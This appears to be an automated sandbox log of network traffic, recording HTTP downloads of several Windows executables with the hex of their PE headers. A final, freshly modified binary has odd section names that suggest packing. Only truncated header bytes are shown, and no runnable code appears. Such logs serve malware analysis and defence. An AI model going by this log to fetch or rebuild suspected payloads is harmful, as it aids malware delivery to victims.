00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 17:45:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 17:45:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 17:45:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 17:45:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 17:45:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 17:45:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 06 Dec 2024 17:46:00 GMTContent-Type: application/octet-streamContent-Length: 3283968Last-Modified: Fri, 06 Dec 2024 17:34:14 GMTConnection: keep-aliveETag: "67533596-321c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 32 00 00 04 00 00 1e 1b 33 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 0d 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 0d 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 77 69 61 71 77 70 65 00 60 2b 00 00 b0 06 00 00 5e 2b 